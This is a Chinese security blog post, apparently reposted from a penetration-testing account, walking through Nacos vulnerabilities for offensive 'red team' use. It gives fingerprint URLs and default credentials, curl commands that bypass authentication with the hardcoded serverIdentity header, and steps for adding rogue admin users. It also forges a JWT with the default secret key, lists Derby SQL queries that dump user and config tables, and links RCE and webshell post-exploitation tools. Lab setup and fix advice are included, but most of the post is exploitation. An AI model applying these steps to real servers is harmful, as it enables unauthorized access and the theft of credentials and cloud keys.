掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

admin 2023年12月2日03:07:13评论49 views字数 5545阅读18分29秒阅读模式
文章目录
框架介绍 何为nacos
漏洞列表 nacos漏洞全版本和指纹表
漏洞环境搭建 手动搭建
漏洞复现 1.如何识别当前站点是否存在漏洞
2.哪些版本(情况)存在该漏洞
3.漏洞指纹特征⭐
4.如何复现
工具 综合利用工具

 

 

Part 1

 

01

何为nacos

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

国内企业常用,hw中常见,且利用难度低

Part 2

 

02

漏洞列表和指纹表

CVE-2021-29441 Nacos权限认证绕过漏洞 /nacos/v1/auth/users?pageNo=1&pageSize=1
secret.key 默认密钥 CNVD-2023674205 /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt
CVE-2021-29441 Nacos权限认证绕过漏洞 curl "http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001 开放7848端口
sql注入 derby数据库

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

 
Part 3

 

03

前置知识

Nacos 默认帐户名密码:
nacos/nacos
常见端口为8848
可能存在的未授权 API
0x01 用户信息 API
/nacos/v1/auth/users?pageNo=1&pageSize=9
0x02 集群信息 API
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
0x03 配置信息 API
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=
这一接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key,举几个例子 accessKey、secretKey微信key...
获取配置信息示例:
掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
获取ak、sk 示例:
掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
如果返回为 403 Forbidden,可以尝试 CNVD-2023674205 漏洞绕过限制。
0x04 nacos+spring
因为nacos经常会和spring actuator 一起出现,如果nacos没漏洞,那就有可能从actuator中的heapdump获取密码
就是actuator/heapdump,麋鹿在前段时间的spring那一篇讲过
Part 4

 

 

 

02

漏洞搭建与复现

 

 

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
CVE-2021-29441 Nacos权限认证绕过漏洞

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

1.影响版本

Nacos <= 2.0.0-ALPHA.1

2.环境搭建

下载环境
 wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz

解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz


进入目录
cd nacos

cd 进入bin目录

启动

./startup.sh -m standalone

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

访问ip:8848/nacos/#/login

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

搭建完成,开始复现(本人靶机ip为192.168.233.131,故后续地址采用此地址)

3,漏洞复现

3.1    验证漏洞

访问如下地址查看用户列表

http://192.168.233.131:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

虽然有password了, 但是是加盐过的,解密不了

3.2    添加一个账号密码

POST    访问    /nacos/v1/auth/users

添加POST参数

username=milu&password=milu

修改ua为        Nacos-Server

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

200ok

3.3    用milu,milu去登录

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

关闭环境

./shutdown.sh

 

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
secret.key 默认密钥 CNVD-2023674205
掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

 

 

1.漏洞描述:

Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

这个默认值是
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
攻击者可以利用这个默认密钥构造JWT,绕过身份认证并进入Nacos后台,从而对系统进行控制。

2.影响版本

如上所述,Nacos <= 2.2.0

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

 

4.搭建环境

和上面一样,只不过这次github地址换为

https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

看一眼conf/application.properties里的

nacos.core.auth.plugin.nacos.token.secret.key

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

确实是默认的

而且nacos.core.auth.enabled的值为false,也就是默认没有开启权限认证

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

需要修改为true

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

4.漏洞复现

4.1验证漏洞

不带jwt直接访问如下地址,返回403

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

4.1构造jwt token

Nacos 使用 jwt token,算法为 HS256,将 secret.key 的默认值当作 secretKey,生成Signature。jwt token 的 Payload 为 subject(用户名)和 exp(有效期)。

payload

{
  "sub": "nacos",
  "exp": 1700677870}

时间戳修改为比当前时间晚一点,麋鹿当前时间是11-22,我生成的时间戳是后一天即23号

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

jwt构造网站

https://jwt.io/


时间戳生成网站

https://tool.lu/timestamp/

生成jwt(记得写key)

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

jwt token格式

accessToken:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDY3Nzg3MH0.ILVfXA4ccGutdcQSh_BcbzAgYVIseDrghQ3n3mgVNkE

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

5.对于鉴权的一些思考

我去看了看官方文档,发现鉴权是这样写的

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

所以

1.如果不修改nacos.core.auth.enabled

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

也就是说不开启权限认证

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

是不需要用jwt的

2.上一个未授权里提到修改ua头,在低版本可以靠ua头绕过

3.application.properties里默认server.identity为如下

nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security

所以这样也是可以绕过

curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"

 

6.修复

1.2.0版本及以上的nacos,修改配置文件中的nacos.core.auth.plugin.nacos.token.secret.key即可,否则无法启动节点。

1.1.4版本及以下的nacos,由于私钥写死到了代码里,用户无法自行配置,只能升级nacos到2,2,1以上版本

 

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
CVE-2021-29441 Nacos权限认证绕过漏洞

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

 

细心的读者应该发现上面提到过这个问题

1,漏洞产因
当开启 Nacos 权限认证(nacos.core.auth.enabled=true)后,配置文件中存在默认值:
nacos.core.auth.server.identity.key=serverIdentity 
nacos.core.auth.server.identity.value=security

该硬编码导致攻击者可以构造携带该 key 和 value 的请求,从而绕过权限认证。

2.漏洞影响版本
Nacos <= 2.2.0

3.复现

指纹

curl "http://192.168.233.131:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "serverIdentity: security"

正常是不能访问的.403

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

但是用上面curl命令返回结果是这样

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

添加用户

POST /v1/auth/users HTTP/1.1
serverIdentity: security

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

4.漏洞修复

4.1    配置自定义身份识别的 key(不可为空)和 value(不可为空):

nacos.core.auth.server.identity.key=example
nacos.core.auth.server.identity.value=example

4.2    升级

 

掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
Nacos 集群 Raft 反序列化漏洞 CNVD-2023-45001掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

 

1.漏洞描述
Nacos 在处理某些基于 Jraft 的请求时,采用 Hessian 进行反序列化,但并未设置限制,导致应用存在远程代码执行(RCE)漏洞。
Nacos 1.x 在单机模式下默认不开放 7848 端口,故该情况通常不受此漏洞影响。Nacos 2.x 版本无论单机或集群模式均默认开放 7848 端口。
所以开放7848端口的naos服务可以当作该洞的一个特征
2.漏洞影响
1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 任意模式启动
3.漏洞复现
提供一个现成工具
https://github.com/c0olw/NacosRce/
4.漏洞修复
通用修补建议
升级到Nacos 1.4.6、Nacos 2.2.3:
https://github.com/alibaba/nacos/releases/tag/1.4.6
https://github.com/alibaba/nacos/releases/tag/2.2.3
临时修补建议
对外限制开放7848端口,一般使用时该端口为Nacos集群间Raft协议的通信端口,不承载客户端请求,因此老版本可以通过禁止该端口来自Nacos集群外的请求达到止血目的(如部署时已进行限制或未暴露,则风险可控)。
掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
sql注入
掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货
1,漏洞描述
Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。
2.影响版本
使用derby数据库进行部署的Nacos
3.漏洞复现
/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
一些查询语句:
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

 

Part 4

放几个工具

反序列化漏洞利用工具

https://github.com/c0olw/NacosRce/releases/tag/v0.5

哥斯拉nacos后渗透插件

https://github.com/pap1rman/postnacos

综合利用,且gui版本

https://github.com/charonlight/NacosExploitGUI

 

 

原文始发于微信公众号(渗透安全团队):掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月2日03:07:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具 | 干货http://cn-sec.com/archives/2257968.html

发表评论

匿名网友 填写信息